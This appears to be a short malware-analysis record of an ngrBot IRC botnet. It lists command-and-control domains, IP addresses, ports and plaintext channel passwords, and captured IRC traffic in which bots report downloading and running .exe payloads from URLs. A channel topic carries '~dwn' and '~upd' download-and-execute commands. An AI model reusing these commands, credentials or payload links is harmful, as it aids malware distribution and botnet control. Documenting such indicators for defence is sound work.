Domains used to control bots:
bonusrata.info 67.228.81.181
serverdns091.info 64.31.42.106
batebate.info 74.62.155.1
Remote Host Port Number
199.15.234.7 80
74.62.152.164 6969 PASS s3cr3t
68.178.232.100 6161 PASS s3cr3t
Remote Host Port Number
199.15.234.7 80
94.231.108.37 80
74.62.155.136 6969 PASS ngrBot
67.228.81.181 6969 PASS ngrBot
64.31.42.106 6969 PASS ngrBot
NICK n{US|XPa}wpypkul
USER wpypkul 0 0 :wpypkul
JOIN #nava s3cr3t
PRIVMSG ##cybercenter## :[d=”http://www.immogalleryxl.be/media/ngr1810.exe” s=”867 bytes”] Update error: MD5 mismatch (94A65C30B4991CB1AD985B2EAAA4817D != de88641a7f502d105ab9f4518466a4bc)
NICK n{US|XPa}euivmwv
USER euivmwv 0 0 :euivmwv
JOIN ##cybercenter## ngrBot
PRIVMSG ##cybercenter## :[d=”http://www.chipchipchip.com/images/listo18.exe” s=”20480 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0
NICK n{US|XPa}xmkstey
USER xmkstey 0 0 :xmkstey
JOIN ##cybercenter## ngrBot
PRIVMSG ##cybercenter## :[d=”http://www.hmkjeldgaard.dk/downloads/listo4.exe” s=”16384 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0
Now talking in ##cybercenter##
Topic On: [ ##cybercenter## ] [ ~dwn http://www.hmkjeldgaard.dk/downloads/listo4.exe ]
Topic By: [ Ka0s ]
Topic: Ka0s sets topic [~dwn http://www.hmkjeldgaard.dk/downloads/listo4.exe ~upd http://www.rdi-intl.com/images/0711ngr.exe 33bcb3cf3b8733f6ead12b9feab3397d]
hosting infos:
http://whois.domaintools.com/74.62.152.164